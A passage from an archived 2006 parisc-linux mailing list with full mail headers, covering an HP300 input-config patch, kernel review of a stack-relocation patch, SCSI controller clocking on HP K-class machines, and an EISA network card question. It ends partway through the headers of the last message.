  by mx0.gmx.net (mx042) with SMTP; 10 Oct 2006 21:25:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5A2407D6FA;
	Tue, 10 Oct 2006 13:25:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00814-02; Tue, 10 Oct 2006 13:25:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 004447D6FE;
	Tue, 10 Oct 2006 13:25:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0E6527D6FA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Oct 2006 13:25:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32002-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Oct 2006 13:25:09 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 54B847D6EE
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Oct 2006 13:25:09 -0600 (MDT)
Original-Received: (qmail invoked by alias); 10 Oct 2006 19:25:03 -0000
Original-Received: from p54AD330F.dip0.t-ipconnect.de (EHLO p100.box) [84.173.51.15]
	by mail.gmx.net (mp029) with SMTP; 10 Oct 2006 21:25:03 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
In-Reply-To: <200610092022.k99KMbtC031450@anakin.of.borg>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lsEccjUxbGI0QqaDYmRnqX5ncmZ1Zhx2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24016

Hi Geert,
Hi Kars,

thanks for the patch.

Just out of couriosity:
Does anyone of you still have a HP300 to test ?

Helge

On Monday 09 October 2006 22:22, Geert Uytterhoeven wrote:
> Enable HIL configuration options on HP300
> 
> Signed-Off-By: Kars de Jong <jongk@linux-m68k.org>
> Signed-Off-By: Geert Uytterhoeven <geert@linux-m68k.org>
> 
> ---
>  keyboard/Kconfig |    4 ++--
>  misc/Kconfig     |    2 +-
>  mouse/Kconfig    |    2 +-
>  serio/Kconfig    |    2 +-
>  4 files changed, 5 insertions(+), 5 deletions(-)
....
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH 562] m68k/HP300: Enable HIL configuration
 options
Date: Tue, 10 Oct 2006 22:23:15 +0200 (CEST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.62.0610102222280.3402@pademelon.sonytel.be>
References: <200610092022.k99KMbtC031450@anakin.of.borg> <200610102125.01767.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416624192 21108 80.91.229.3 (22 Nov 2014 02:43:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:12 +0000 (UTC)
Cc: Kars de Jong <jongk@linux-m68k.org>,
 Peter De Schrijver <p2@mind.be>,
 parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <geert@linux-m68k.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Oct 2006 20:23:20 -0000
Original-Received: from witte.sonytel.be (EHLO witte.sonytel.be) [80.88.33.193]
  by mx0.gmx.net (mx059) with SMTP; 10 Oct 2006 22:23:20 +0200
Original-Received: from pademelon.sonytel.be (mail.sonytel.be [43.221.60.197])
	by witte.sonytel.be (8.12.10/8.12.10) with ESMTP id k9AKNFQe005505;
	Tue, 10 Oct 2006 22:23:15 +0200 (MEST)
Original-Sender: geert@sonycom.com
In-Reply-To: <200610102125.01767.deller@gmx.de>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: VmxOEahkbXBtTrqHPTQ2bwcqLyUmZYh0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24017

	Hi Helge,

On Tue, 10 Oct 2006, Helge Deller wrote:
> Just out of couriosity:
> Does anyone of you still have a HP300 to test ?

I don't have one, but IIRC, Kars has a few machines.

Peter: don't you have one, too?

Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds



From - Thu Nov 08 21:35:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <a.p.zijlstra@chello.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Removing MAX_ARG_PAGES (request for
	comments/assistance)
Date: Wed, 11 Oct 2006 15:14:20 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <1160572460.2006.79.camel__28379.2507056662$1416624192$gmane$org@taijtu>
References: <65dd6fd50610101705t3db93a72sc0847cd120aa05d3@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624192 21109 80.91.229.3 (22 Nov 2014 02:43:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:12 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 linux-arch@vger.kernel.org,
 Andi Kleen <ak@muc.de>,
 linux-kernel@vger.kernel.org,
 David Howells <dhowells@redhat.com>,
 linux-mm@kvack.org,
 Linus Torvalds <torvalds@osdl.org>,
 Ingo Molnar <mingo@elte.hu>,
 parisc-linux@lists.parisc-linux.org,
 Arjan van de Ven <arjan@infradead.org>
To: Ollie Wild <aaw@google.com>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Oct 2006 13:14:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 11 Oct 2006 15:14:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9881D7D73A;
	Wed, 11 Oct 2006 07:14:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15923-09; Wed, 11 Oct 2006 07:14:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5EA737D750;
	Wed, 11 Oct 2006 07:14:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A831D7D69E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 07:14:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15923-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 07:14:17 -0600 (MDT)
Original-Received: from amsfep14-int.chello.nl (amsfep17-int.chello.nl [213.46.243.15])
	by free.linux.hp.com (Postfix) with ESMTP id 03C0A7D68C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 07:14:16 -0600 (MDT)
Original-Received: from [192.168.0.120] (really [62.194.129.232])
	by amsfep14-int.chello.nl
	(InterMail vM.6.01.04.04 201-2131-118-104-20050224) with ESMTP
	id <20061011131414.TGEP2160.amsfep14-int.chello.nl@[192.168.0.120]>;
	Wed, 11 Oct 2006 15:14:14 +0200
In-Reply-To: <65dd6fd50610101705t3db93a72sc0847cd120aa05d3@mail.gmail.com>
X-Mailer: Evolution 2.6.3 (2.6.3-1.fc5.5) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AdYadDBKYmYSfenCanc3pmBKWkZTQVTG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24018

On Tue, 2006-10-10 at 17:05 -0700, Ollie Wild wrote:

> +                       vma->vm_flags &= ~VM_EXEC;
> +               // FIXME: Are the next two lines sufficient, or do I need to
> +               // do some additional magic?
> +               vma->vm_flags |= mm->def_flags;
> +               vma->vm_page_prot = protection_map[vma->vm_flags & 0x7];

Yeah, you'll need to change the PTEs for those pages you created by
calling get_user_page() by calling an mprotect like function; perhaps
something like:

 struct vm_area_struct *prev;
 unsigned long vm_flags = vma->vm_flags;

 s/vma->vm_flags/vm_flags/g

 err = mprotect_fixup(vma, &prev, vma->vm_start, vma->vm_end, vm_flags);
 BUG_ON(prev != vma);

mprotect_fixup will then set the new protection on all PTEs and update
vma->vm_flags and vma->vm_page_prot.

> +               /* Move stack pages down in memory. */
> +               if (stack_shift) {
> +                       // FIXME: Verify the shift is OK.
> +

What exactly are you wondering about? the call to move_vma looks sane to
me

> +                       /* This should be safe even with overlap because we
> +                        * are shifting down. */
> +                       ret = move_vma(vma, vma->vm_start,
> +                                       vma->vm_end - vma->vm_start,
> +                                       vma->vm_end - vma->vm_start,
> +                                       vma->vm_start - stack_shift);
> +                       if (ret & ~PAGE_MASK) {
> +                               up_write(&mm->mmap_sem);
> +                               return ret;
> +                       }
>                 }


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Can't write to hard drives on a K200
Date: Wed, 11 Oct 2006 11:14:13 -0500
Lines: 48
Approved: news@gmane.org
Message-ID: <200610111114.14135.mszick@morethan.org>
References: <J6B9MR$91CD8B56571F1770C341CEA677BE5E0B@scarlet.be>
	<200609290939.19381.mszick@morethan.org>
	<20060929145622.GM5017@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624193 21262 80.91.229.3 (22 Nov 2014 02:43:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:13 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Oct 2006 16:14:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx068) with SMTP; 11 Oct 2006 18:14:53 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8F89B7D762;
	Wed, 11 Oct 2006 10:14:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18500-07; Wed, 11 Oct 2006 10:14:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CD7547D763;
	Wed, 11 Oct 2006 10:14:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C09407D760
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 10:14:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18500-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 10:14:40 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 6D2677D754
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 10:14:40 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k9BGEQ66076346;
	Wed, 11 Oct 2006 09:14:37 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [67.77.197.4] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id BrJ0hvP2
	authenticated by SMTP; Wed, 11 Oct 2006 09:14:25 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <20060929145622.GM5017@parisc-linux.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HHRGLUssTlIvULeQeGhr+4pGU2poZVlP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24019

On Fri September 29 2006 09:56, Matthew Wilcox wrote:
> On Fri, Sep 29, 2006 at 09:39:19AM -0500, Michael S. Zick wrote:
> > I can confirm that - having never worked for HP, all I can do is guess,
> > and I often guess wrong.
> 

Still reading, perhaps learning.  Now have a HP specific question...

> 
> We can call you unable to read.  Looking at
> http://hwdb.parisc-linux.org/view.php?type=machine&name=K200
> there is indeed
> KittyHawk GSY Core SCSI (Foreign I/O Module)  (NCR53c710 driver)
> but there is also
> KittyHawk GSY Core FW-SCSI (A DMA)  (Zalon driver)
> 
> The hard drives are HVD SCSI and are connected to the Core FW-SCSI
> (ncr720 chip).  The tape drive and CD-ROM drive are SE SCSI and are
> connected to the Core SCSI (ncr710 chip).
> 
> This is not an uncommon arrangement; it is also found in the
> B160L, C100, C110, C160, C160L, C180, C180XP, J200, J210, J210XC, J282,
> as well as all the other K-class machines.
> 
> Several B, C and J class machines use a PCI NCR 875 chip to provide HVD
> SCSI.  They also still use the 710 provided in Lasi for SE SCSI.
> 

I am still studying the documentation with an eye towards re-writing
the ncr-risc code as hp-specific...

I see from a note on the wiki that some machines with more than one
GSC (GSY?) bus run the buses at different speeds (32 Mhz and 40 Mhz).

Could you (or anyone on the list) eyeball the GSC scsi card(s) and
see if they have their own crystal(s)? 
Or are these controllers clocked by the GSC bus clock?

Expected would be a 40 or 80 Mhz crystal depending on the controller
if not clocked by the card's bus.

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James Love" <jlove@scires.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] NICs on EISA bus...
Date: Wed, 11 Oct 2006 12:22:34 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <452CE20A020000C500004F88@mail.scires.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624193 21376 80.91.229.3 (22 Nov 2014 02:43:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:13 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Oct 2006 16:23:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx094) with SMTP; 11 Oct 2006 18:23:51 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 45BE37D76E;
	Wed, 11 Oct 2006 10:23:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18772-04; Wed, 11 Oct 2006 10:23:47 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 404AA7D775;
	Wed, 11 Oct 2006 10:23:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A7E237D766
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 10:23:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18507-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 10:23:32 -0600 (MDT)
Original-Received: from mail.scires.com (mail.scires.com [64.16.131.4])
	by free.linux.hp.com (Postfix) with ESMTP id 496177D762
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 10:23:30 -0600 (MDT)
Original-Received: from SRCATL-MTA by mail.scires.com
	with Novell_GroupWise; Wed, 11 Oct 2006 12:22:49 -0400
X-Mailer: Novell GroupWise Internet Agent 7.0 
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: z15nAkoea2A7W7vDOHQywtIyOWhhagf7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24020

All:
Has anyone gotten any EISA NICs to work successfully with the parisc? 
In particular, the card I'm looking to get running is the HWP1850 (HP
part # 25567-60003).  I found an old reference to this card on the list
( http://lists.parisc-linux.org/hypermail/parisc-linux/7824.html ), but
there was no response.  It appears to use the same intel microcontroller
as the onboard NIC (82596CA), but on an EISA card.  The card is
recognized on my 715/50 running 2.6.12:

Aug 24 01:29:35 localhost kernel: Mongoose EISA Adapter found at
0xfc000000
Aug 24 01:29:35 localhost kernel: Enumerating EISA bus
Aug 24 01:29:35 localhost kernel: EISA slot 1: HWP1850 EISA IRQ 3
Aug 24 01:29:35 localhost kernel: EISA: Probing bus 0 at 4
Aug 24 01:29:35 localhost kernel: EISA: Mainboard HWPC000 detected.
Aug 24 01:29:35 localhost kernel: EISA: slot 1 : HWP1850 detected.
Aug 24 01:29:35 localhost kernel: EISA: Detected 1 card.

Writing a simple EISA driver allows me to read the board id and MAC off
the card, but I'm not sure if the IO or interrupts are working
correctly.  Is there some reason (eg kernel/eisa bus issues) that I
shouldn't expect to get this to work?  I spend all my time in userspace,
so I may very well have driver issues, but I'd like to know whether this
is even possible.

Thanks,
James

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NICs on EISA bus...
Date: Wed, 11 Oct 2006 12:04:35 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <1160586275.3447.38.camel@mulgrave.il.steeleye.com>
References: <452CE20A020000C500004F88@mail.scires.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624193 21378 80.91.229.3 (22 Nov 2014 02:43:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James Love <jlove@scires.com>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Oct 2006 17:04:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx074) with SMTP; 11 Oct 2006 19:04:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E7607D76E;
	Wed, 11 Oct 2006 11:04:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19465-03; Wed, 11 Oct 2006 11:04:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C456E7D769;
	Wed, 11 Oct 2006 11:04:43 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 039727D763
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 11:04:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18772-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 11:04:38 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id 85DE47D762
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 11:04:38 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k9BH4aW04051; Wed, 11 Oct 2006 13:04:36 -0400
In-Reply-To: <452CE20A020000C500004F88@mail.scires.com>
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
